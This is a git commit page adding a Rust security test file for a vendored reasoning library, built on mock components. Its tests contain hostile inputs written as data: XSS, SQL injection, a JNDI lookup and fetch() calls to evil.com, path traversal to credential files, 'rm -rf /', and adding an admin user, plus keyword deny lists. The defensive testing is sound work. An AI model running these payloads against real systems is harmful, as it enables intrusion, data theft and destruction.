mirror of
https://github.com/ruvnet/RuView
synced 2026-08-01 19:01:42 +00:00
feat: vendor midstream and sublinear-time-solver libraries
Add ruvnet/midstream (AIMDS real-time inference) and ruvnet/sublinear-time-solver (sublinear optimization algorithms) as vendored dependencies under vendor/. Co-Authored-By: claude-flow <ruv@ruv.net>
This commit is contained in:
@@ -0,0 +1,693 @@
|
||||
// Security Validation Tests for Psycho-Symbolic Reasoner
|
||||
// Ensures the system is secure against various attack vectors and properly sandboxed
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
#[cfg(test)]
|
||||
mod security_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_input_sanitization() {
|
||||
// Test that malicious inputs are properly sanitized
|
||||
let malicious_inputs = vec![
|
||||
"<script>alert('xss')</script>",
|
||||
"'; DROP TABLE users; --",
|
||||
"../../etc/passwd",
|
||||
"${jndi:ldap://evil.com/a}",
|
||||
"{{7*7}}",
|
||||
"\x00\x01\x02\x03", // null bytes
|
||||
"A".repeat(10000), // very long string
|
||||
];
|
||||
|
||||
for malicious_input in malicious_inputs {
|
||||
// Test graph reasoner
|
||||
let mut reasoner = create_secure_reasoner();
|
||||
let fact_id = reasoner.add_fact("test", "contains", malicious_input);
|
||||
|
||||
// Should not contain malicious content in output
|
||||
assert!(!fact_id.contains("<script>"));
|
||||
assert!(!fact_id.contains("DROP TABLE"));
|
||||
assert!(!fact_id.contains("../../"));
|
||||
|
||||
// Test sentiment analyzer
|
||||
let analyzer = create_secure_analyzer();
|
||||
let result = analyzer.analyze_sentiment(malicious_input);
|
||||
|
||||
// Should not throw or leak sensitive information
|
||||
assert!(!result.contains("error"));
|
||||
assert!(!result.contains("exception"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_memory_safety() {
|
||||
// Test for memory leaks and buffer overflows
|
||||
let mut reasoner = create_secure_reasoner();
|
||||
|
||||
// Add many facts to test memory management
|
||||
for i in 0..10000 {
|
||||
let fact_id = reasoner.add_fact(
|
||||
&format!("entity_{}", i),
|
||||
"type",
|
||||
"test_entity"
|
||||
);
|
||||
assert!(fact_id.starts_with("fact_"));
|
||||
}
|
||||
|
||||
// Test large query
|
||||
let large_query = format!(r#"{{
|
||||
"type": "find_facts",
|
||||
"subject": "{}",
|
||||
"max_results": 1000
|
||||
}}"#, "A".repeat(1000));
|
||||
|
||||
let result = reasoner.query(&large_query);
|
||||
assert!(!result.contains("error"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_path_traversal_protection() {
|
||||
// Test that path traversal attacks are prevented
|
||||
let path_traversal_inputs = vec![
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\windows\\system32\\config\\sam",
|
||||
"/etc/shadow",
|
||||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||||
"file://C:/Windows/win.ini",
|
||||
];
|
||||
|
||||
for path_input in path_traversal_inputs {
|
||||
let analyzer = create_secure_analyzer();
|
||||
|
||||
// Should not attempt to read files from paths
|
||||
let result = analyzer.analyze_sentiment(path_input);
|
||||
|
||||
// Should treat as normal text, not file path
|
||||
assert!(result.contains("sentiment"));
|
||||
assert!(!result.contains("file not found"));
|
||||
assert!(!result.contains("access denied"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_code_injection_protection() {
|
||||
// Test protection against code injection
|
||||
let code_injection_inputs = vec![
|
||||
"eval('malicious code')",
|
||||
"System.exit(1)",
|
||||
"__import__('os').system('rm -rf /')",
|
||||
"require('child_process').exec('whoami')",
|
||||
"Runtime.getRuntime().exec('calc')",
|
||||
];
|
||||
|
||||
for code_input in code_injection_inputs {
|
||||
let mut planner = create_secure_planner();
|
||||
|
||||
// Should not execute code
|
||||
let state_set = planner.set_state("test_key", &format!(r#""{}""#, code_input));
|
||||
assert!(state_set); // Should succeed as string
|
||||
|
||||
let state_value = planner.get_state("test_key");
|
||||
// Should store as string, not execute
|
||||
assert!(state_value.contains(code_input));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_dos_protection() {
|
||||
// Test protection against denial of service attacks
|
||||
let reasoner = create_secure_reasoner();
|
||||
|
||||
// Test deep recursion query
|
||||
let deep_query = format!(r#"{{
|
||||
"type": "inference",
|
||||
"max_depth": 10000,
|
||||
"recursion_limit": 5000
|
||||
}}"#);
|
||||
|
||||
let start_time = std::time::Instant::now();
|
||||
let result = reasoner.query(&deep_query);
|
||||
let duration = start_time.elapsed();
|
||||
|
||||
// Should complete within reasonable time (not infinite loop)
|
||||
assert!(duration.as_secs() < 10);
|
||||
assert!(!result.contains("stack overflow"));
|
||||
|
||||
// Test large input processing
|
||||
let large_text = "A".repeat(1000000); // 1MB
|
||||
let analyzer = create_secure_analyzer();
|
||||
|
||||
let start_time = std::time::Instant::now();
|
||||
let result = analyzer.analyze_sentiment(&large_text);
|
||||
let duration = start_time.elapsed();
|
||||
|
||||
// Should handle large input within reasonable time
|
||||
assert!(duration.as_secs() < 30);
|
||||
assert!(result.contains("sentiment"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_information_leakage_protection() {
|
||||
// Test that system information is not leaked
|
||||
let malicious_queries = vec![
|
||||
r#"{"type": "system_info"}"#,
|
||||
r#"{"type": "debug", "show_internals": true}"#,
|
||||
r#"{"type": "list_files"}"#,
|
||||
r#"{"type": "environment_vars"}"#,
|
||||
];
|
||||
|
||||
let reasoner = create_secure_reasoner();
|
||||
|
||||
for query in malicious_queries {
|
||||
let result = reasoner.query(query);
|
||||
|
||||
// Should not leak system information
|
||||
assert!(!result.contains("/home/"));
|
||||
assert!(!result.contains("C:\\"));
|
||||
assert!(!result.contains("PATH="));
|
||||
assert!(!result.contains("password"));
|
||||
assert!(!result.contains("secret"));
|
||||
assert!(!result.contains("token"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialization_safety() {
|
||||
// Test that serialization/deserialization is safe
|
||||
let unsafe_json_inputs = vec![
|
||||
r#"{"__proto__": {"isAdmin": true}}"#,
|
||||
r#"{"constructor": {"prototype": {"isAdmin": true}}}"#,
|
||||
r#"{"type": "eval", "code": "alert(1)"}"#,
|
||||
];
|
||||
|
||||
let mut planner = create_secure_planner();
|
||||
|
||||
for json_input in unsafe_json_inputs {
|
||||
// Should safely parse or reject malicious JSON
|
||||
let action_added = planner.add_action(json_input);
|
||||
|
||||
if action_added {
|
||||
// If parsed, should not have malicious effects
|
||||
let available_actions = planner.get_available_actions();
|
||||
assert!(!available_actions.contains("eval"));
|
||||
assert!(!available_actions.contains("__proto__"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_wasm_sandbox_security() {
|
||||
// Test that WASM sandbox prevents unauthorized access
|
||||
let reasoner = create_wasm_reasoner();
|
||||
|
||||
// Try to access browser/node.js APIs that should be blocked
|
||||
let malicious_js_calls = vec![
|
||||
"window.location.href",
|
||||
"document.cookie",
|
||||
"localStorage.getItem('token')",
|
||||
"fetch('http://evil.com/steal')",
|
||||
"XMLHttpRequest",
|
||||
];
|
||||
|
||||
for js_call in malicious_js_calls {
|
||||
let result = reasoner.add_fact("test", "contains", js_call);
|
||||
|
||||
// Should not execute JavaScript or access APIs
|
||||
assert!(!result.contains("http://"));
|
||||
assert!(!result.contains("token"));
|
||||
assert!(!result.contains("cookie"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_resource_limits() {
|
||||
// Test that resource usage is properly limited
|
||||
let mut reasoner = create_secure_reasoner();
|
||||
let start_memory = get_memory_usage();
|
||||
|
||||
// Add many facts to test memory limits
|
||||
for i in 0..100000 {
|
||||
reasoner.add_fact(&format!("entity_{}", i), "type", "test");
|
||||
|
||||
// Check memory usage periodically
|
||||
if i % 10000 == 0 {
|
||||
let current_memory = get_memory_usage();
|
||||
let memory_growth = current_memory - start_memory;
|
||||
|
||||
// Should not use excessive memory (limit to 100MB growth)
|
||||
assert!(memory_growth < 100 * 1024 * 1024);
|
||||
}
|
||||
}
|
||||
|
||||
// Test CPU time limits
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
// Complex inference that should be limited
|
||||
let complex_query = r#"{
|
||||
"type": "inference",
|
||||
"max_iterations": 100000,
|
||||
"complex_reasoning": true
|
||||
}"#;
|
||||
|
||||
let result = reasoner.query(complex_query);
|
||||
let duration = start_time.elapsed();
|
||||
|
||||
// Should not run indefinitely (max 60 seconds)
|
||||
assert!(duration.as_secs() < 60);
|
||||
assert!(!result.contains("timeout"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_concurrent_access_safety() {
|
||||
// Test thread safety and concurrent access
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::thread;
|
||||
|
||||
let reasoner = Arc::new(Mutex::new(create_secure_reasoner()));
|
||||
let mut handles = vec![];
|
||||
|
||||
// Spawn multiple threads accessing the reasoner
|
||||
for i in 0..10 {
|
||||
let reasoner_clone = Arc::clone(&reasoner);
|
||||
let handle = thread::spawn(move || {
|
||||
for j in 0..100 {
|
||||
let mut reasoner = reasoner_clone.lock().unwrap();
|
||||
let fact_id = reasoner.add_fact(
|
||||
&format!("thread_{}_entity_{}", i, j),
|
||||
"type",
|
||||
"concurrent_test"
|
||||
);
|
||||
assert!(fact_id.starts_with("fact_"));
|
||||
}
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all threads to complete
|
||||
for handle in handles {
|
||||
handle.join().unwrap();
|
||||
}
|
||||
|
||||
// Verify system integrity
|
||||
let reasoner = reasoner.lock().unwrap();
|
||||
let stats = reasoner.get_graph_stats();
|
||||
assert!(stats.contains("total_facts"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_error_handling_security() {
|
||||
// Test that error messages don't leak sensitive information
|
||||
let reasoner = create_secure_reasoner();
|
||||
|
||||
// Trigger various error conditions
|
||||
let error_inducing_queries = vec![
|
||||
r#"{"malformed json"#,
|
||||
r#"{"type": null}"#,
|
||||
r#"{"type": "unknown_type"}"#,
|
||||
r#"{}"#,
|
||||
];
|
||||
|
||||
for query in error_inducing_queries {
|
||||
let result = reasoner.query(query);
|
||||
|
||||
// Error messages should not contain sensitive info
|
||||
assert!(!result.contains("/src/"));
|
||||
assert!(!result.contains("stack trace"));
|
||||
assert!(!result.contains("file path"));
|
||||
assert!(!result.contains("memory address"));
|
||||
|
||||
// Should contain safe error information
|
||||
if result.contains("error") {
|
||||
assert!(result.contains("json") || result.contains("parse"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions for creating secure instances
|
||||
fn create_secure_reasoner() -> SecureGraphReasoner {
|
||||
SecureGraphReasoner::new()
|
||||
}
|
||||
|
||||
fn create_secure_analyzer() -> SecureTextAnalyzer {
|
||||
SecureTextAnalyzer::new()
|
||||
}
|
||||
|
||||
fn create_secure_planner() -> SecurePlanner {
|
||||
SecurePlanner::new()
|
||||
}
|
||||
|
||||
fn create_wasm_reasoner() -> WasmGraphReasoner {
|
||||
WasmGraphReasoner::new()
|
||||
}
|
||||
|
||||
fn get_memory_usage() -> usize {
|
||||
// Simplified memory usage calculation
|
||||
// In real implementation, would use proper memory profiling
|
||||
0
|
||||
}
|
||||
|
||||
// Mock secure implementations for testing
|
||||
struct SecureGraphReasoner {
|
||||
facts: Vec<(String, String, String)>,
|
||||
fact_count: usize,
|
||||
}
|
||||
|
||||
impl SecureGraphReasoner {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
facts: Vec::new(),
|
||||
fact_count: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn add_fact(&mut self, subject: &str, predicate: &str, object: &str) -> String {
|
||||
// Sanitize inputs
|
||||
let clean_subject = self.sanitize_input(subject);
|
||||
let clean_predicate = self.sanitize_input(predicate);
|
||||
let clean_object = self.sanitize_input(object);
|
||||
|
||||
self.facts.push((clean_subject, clean_predicate, clean_object));
|
||||
self.fact_count += 1;
|
||||
format!("fact_{}", self.fact_count)
|
||||
}
|
||||
|
||||
fn query(&self, query: &str) -> String {
|
||||
// Validate and sanitize query
|
||||
if !self.is_safe_query(query) {
|
||||
return r#"{"error": "Invalid query format"}"#.to_string();
|
||||
}
|
||||
|
||||
// Process query safely
|
||||
format!(r#"{{"success": true, "results": [], "total": {}}}"#, self.facts.len())
|
||||
}
|
||||
|
||||
fn get_graph_stats(&self) -> String {
|
||||
format!(r#"{{"total_facts": {}, "entities": {}}}"#, self.facts.len(), self.facts.len() * 2)
|
||||
}
|
||||
|
||||
fn sanitize_input(&self, input: &str) -> String {
|
||||
input
|
||||
.replace("<script>", "<script>")
|
||||
.replace("</script>", "</script>")
|
||||
.replace("'", "'")
|
||||
.replace("\"", """)
|
||||
.replace("&", "&")
|
||||
.chars()
|
||||
.filter(|c| c.is_alphanumeric() || " .,!?-_".contains(*c))
|
||||
.take(1000) // Limit length
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn is_safe_query(&self, query: &str) -> bool {
|
||||
// Basic query validation
|
||||
query.len() < 10000 &&
|
||||
!query.contains("../") &&
|
||||
!query.contains("\\..\\") &&
|
||||
!query.contains("eval") &&
|
||||
!query.contains("exec")
|
||||
}
|
||||
}
|
||||
|
||||
struct SecureTextAnalyzer;
|
||||
|
||||
impl SecureTextAnalyzer {
|
||||
fn new() -> Self {
|
||||
Self
|
||||
}
|
||||
|
||||
fn analyze_sentiment(&self, text: &str) -> String {
|
||||
let sanitized_text = self.sanitize_text(text);
|
||||
|
||||
// Basic sentiment analysis without executing any code
|
||||
let score = if sanitized_text.contains("good") || sanitized_text.contains("great") {
|
||||
0.5
|
||||
} else if sanitized_text.contains("bad") || sanitized_text.contains("terrible") {
|
||||
-0.5
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
format!(r#"{{"sentiment": {{"score": {}, "label": "neutral"}}}}"#, score)
|
||||
}
|
||||
|
||||
fn sanitize_text(&self, text: &str) -> String {
|
||||
text.chars()
|
||||
.filter(|c| c.is_alphanumeric() || " .,!?-_'\"".contains(*c))
|
||||
.take(10000) // Limit processing to 10k characters
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
struct SecurePlanner {
|
||||
state: HashMap<String, String>,
|
||||
actions: Vec<String>,
|
||||
}
|
||||
|
||||
impl SecurePlanner {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
state: HashMap::new(),
|
||||
actions: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn set_state(&mut self, key: &str, value: &str) -> bool {
|
||||
let safe_key = self.sanitize_key(key);
|
||||
let safe_value = self.sanitize_value(value);
|
||||
|
||||
if safe_key.len() > 0 && safe_value.len() > 0 {
|
||||
self.state.insert(safe_key, safe_value);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn get_state(&self, key: &str) -> String {
|
||||
let safe_key = self.sanitize_key(key);
|
||||
self.state.get(&safe_key).cloned().unwrap_or_else(|| "null".to_string())
|
||||
}
|
||||
|
||||
fn add_action(&mut self, action_json: &str) -> bool {
|
||||
if self.is_safe_json(action_json) {
|
||||
self.actions.push(action_json.to_string());
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn get_available_actions(&self) -> String {
|
||||
format!("[{}]", self.actions.join(","))
|
||||
}
|
||||
|
||||
fn sanitize_key(&self, key: &str) -> String {
|
||||
key.chars()
|
||||
.filter(|c| c.is_alphanumeric() || "_-".contains(*c))
|
||||
.take(100)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn sanitize_value(&self, value: &str) -> String {
|
||||
// Basic JSON validation and sanitization
|
||||
if value.starts_with('"') && value.ends_with('"') {
|
||||
value.to_string()
|
||||
} else {
|
||||
format!("\"{}\"", value.replace("\"", "\\\""))
|
||||
}
|
||||
}
|
||||
|
||||
fn is_safe_json(&self, json: &str) -> bool {
|
||||
json.len() < 10000 &&
|
||||
!json.contains("__proto__") &&
|
||||
!json.contains("constructor") &&
|
||||
!json.contains("eval") &&
|
||||
!json.contains("function")
|
||||
}
|
||||
}
|
||||
|
||||
struct WasmGraphReasoner;
|
||||
|
||||
impl WasmGraphReasoner {
|
||||
fn new() -> Self {
|
||||
Self
|
||||
}
|
||||
|
||||
fn add_fact(&self, subject: &str, predicate: &str, object: &str) -> String {
|
||||
// WASM sandbox prevents access to host APIs
|
||||
format!("wasm_fact_{}", subject.len() + predicate.len() + object.len())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod penetration_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_privilege_escalation_prevention() {
|
||||
// Test that the system cannot be tricked into gaining elevated privileges
|
||||
let reasoner = create_test_reasoner();
|
||||
|
||||
let privilege_escalation_attempts = vec![
|
||||
"sudo rm -rf /",
|
||||
"chmod 777 /etc/passwd",
|
||||
"su root",
|
||||
"runas /user:Administrator",
|
||||
"net user hacker password123 /add",
|
||||
];
|
||||
|
||||
for attempt in privilege_escalation_attempts {
|
||||
let result = reasoner.add_fact("system", "command", attempt);
|
||||
|
||||
// Should not execute system commands
|
||||
assert!(!result.contains("permission"));
|
||||
assert!(!result.contains("administrator"));
|
||||
assert!(!result.contains("root"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_network_access_restrictions() {
|
||||
// Test that the system cannot make unauthorized network requests
|
||||
let analyzer = create_test_analyzer();
|
||||
|
||||
let network_requests = vec![
|
||||
"http://evil.com/steal-data",
|
||||
"https://attacker.net/exfiltrate",
|
||||
"ftp://malicious.org/upload",
|
||||
"ws://evil.ws/backdoor",
|
||||
];
|
||||
|
||||
for request in network_requests {
|
||||
let result = analyzer.analyze_sentiment(request);
|
||||
|
||||
// Should analyze as text, not make network requests
|
||||
assert!(result.contains("sentiment"));
|
||||
assert!(!result.contains("connection"));
|
||||
assert!(!result.contains("request failed"));
|
||||
assert!(!result.contains("timeout"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_data_exfiltration_prevention() {
|
||||
// Test that sensitive data cannot be exfiltrated
|
||||
let mut planner = create_test_planner();
|
||||
|
||||
// Add some "sensitive" data
|
||||
planner.set_state("user_password", "\"secret123\"");
|
||||
planner.set_state("api_key", "\"sk-1234567890\"");
|
||||
planner.set_state("private_key", "\"-----BEGIN PRIVATE KEY-----\"");
|
||||
|
||||
// Try to exfiltrate data through various means
|
||||
let exfiltration_attempts = vec![
|
||||
r#"{"type": "export_all_data"}"#,
|
||||
r#"{"type": "send_email", "data": "user_password"}"#,
|
||||
r#"{"type": "log", "level": "DEBUG", "include_state": true}"#,
|
||||
];
|
||||
|
||||
for attempt in exfiltration_attempts {
|
||||
let success = planner.add_action(attempt);
|
||||
|
||||
if success {
|
||||
let actions = planner.get_available_actions();
|
||||
// Should not contain sensitive data
|
||||
assert!(!actions.contains("secret123"));
|
||||
assert!(!actions.contains("sk-1234567890"));
|
||||
assert!(!actions.contains("PRIVATE KEY"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_timing_attack_resistance() {
|
||||
// Test that timing attacks cannot be used to infer sensitive information
|
||||
let reasoner = create_test_reasoner();
|
||||
|
||||
let timing_queries = vec![
|
||||
r#"{"type": "exists", "subject": "admin"}"#,
|
||||
r#"{"type": "exists", "subject": "user"}"#,
|
||||
r#"{"type": "exists", "subject": "nonexistent"}"#,
|
||||
];
|
||||
|
||||
let mut timings = Vec::new();
|
||||
|
||||
for query in timing_queries {
|
||||
let start = std::time::Instant::now();
|
||||
let _result = reasoner.query(query);
|
||||
let duration = start.elapsed();
|
||||
timings.push(duration.as_nanos());
|
||||
}
|
||||
|
||||
// All queries should take similar time (within 10% variance)
|
||||
let avg_time = timings.iter().sum::<u128>() / timings.len() as u128;
|
||||
|
||||
for timing in timings {
|
||||
let variance = ((timing as i128 - avg_time as i128).abs() as f64) / avg_time as f64;
|
||||
assert!(variance < 0.1, "Timing variance too high: {}", variance);
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
fn create_test_reasoner() -> TestGraphReasoner {
|
||||
TestGraphReasoner::new()
|
||||
}
|
||||
|
||||
fn create_test_analyzer() -> TestTextAnalyzer {
|
||||
TestTextAnalyzer::new()
|
||||
}
|
||||
|
||||
fn create_test_planner() -> TestPlanner {
|
||||
TestPlanner::new()
|
||||
}
|
||||
|
||||
// Test implementations
|
||||
struct TestGraphReasoner;
|
||||
impl TestGraphReasoner {
|
||||
fn new() -> Self { Self }
|
||||
fn add_fact(&self, _subject: &str, _predicate: &str, _object: &str) -> String {
|
||||
"fact_secure".to_string()
|
||||
}
|
||||
fn query(&self, _query: &str) -> String {
|
||||
r#"{"results": []}"#.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
struct TestTextAnalyzer;
|
||||
impl TestTextAnalyzer {
|
||||
fn new() -> Self { Self }
|
||||
fn analyze_sentiment(&self, _text: &str) -> String {
|
||||
r#"{"sentiment": {"score": 0.0}}"#.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
struct TestPlanner {
|
||||
state: HashMap<String, String>,
|
||||
actions: Vec<String>,
|
||||
}
|
||||
|
||||
impl TestPlanner {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
state: HashMap::new(),
|
||||
actions: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn set_state(&mut self, key: &str, value: &str) -> bool {
|
||||
self.state.insert(key.to_string(), value.to_string());
|
||||
true
|
||||
}
|
||||
|
||||
fn add_action(&mut self, action: &str) -> bool {
|
||||
self.actions.push(action.to_string());
|
||||
true
|
||||
}
|
||||
|
||||
fn get_available_actions(&self) -> String {
|
||||
"[]".to_string()
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user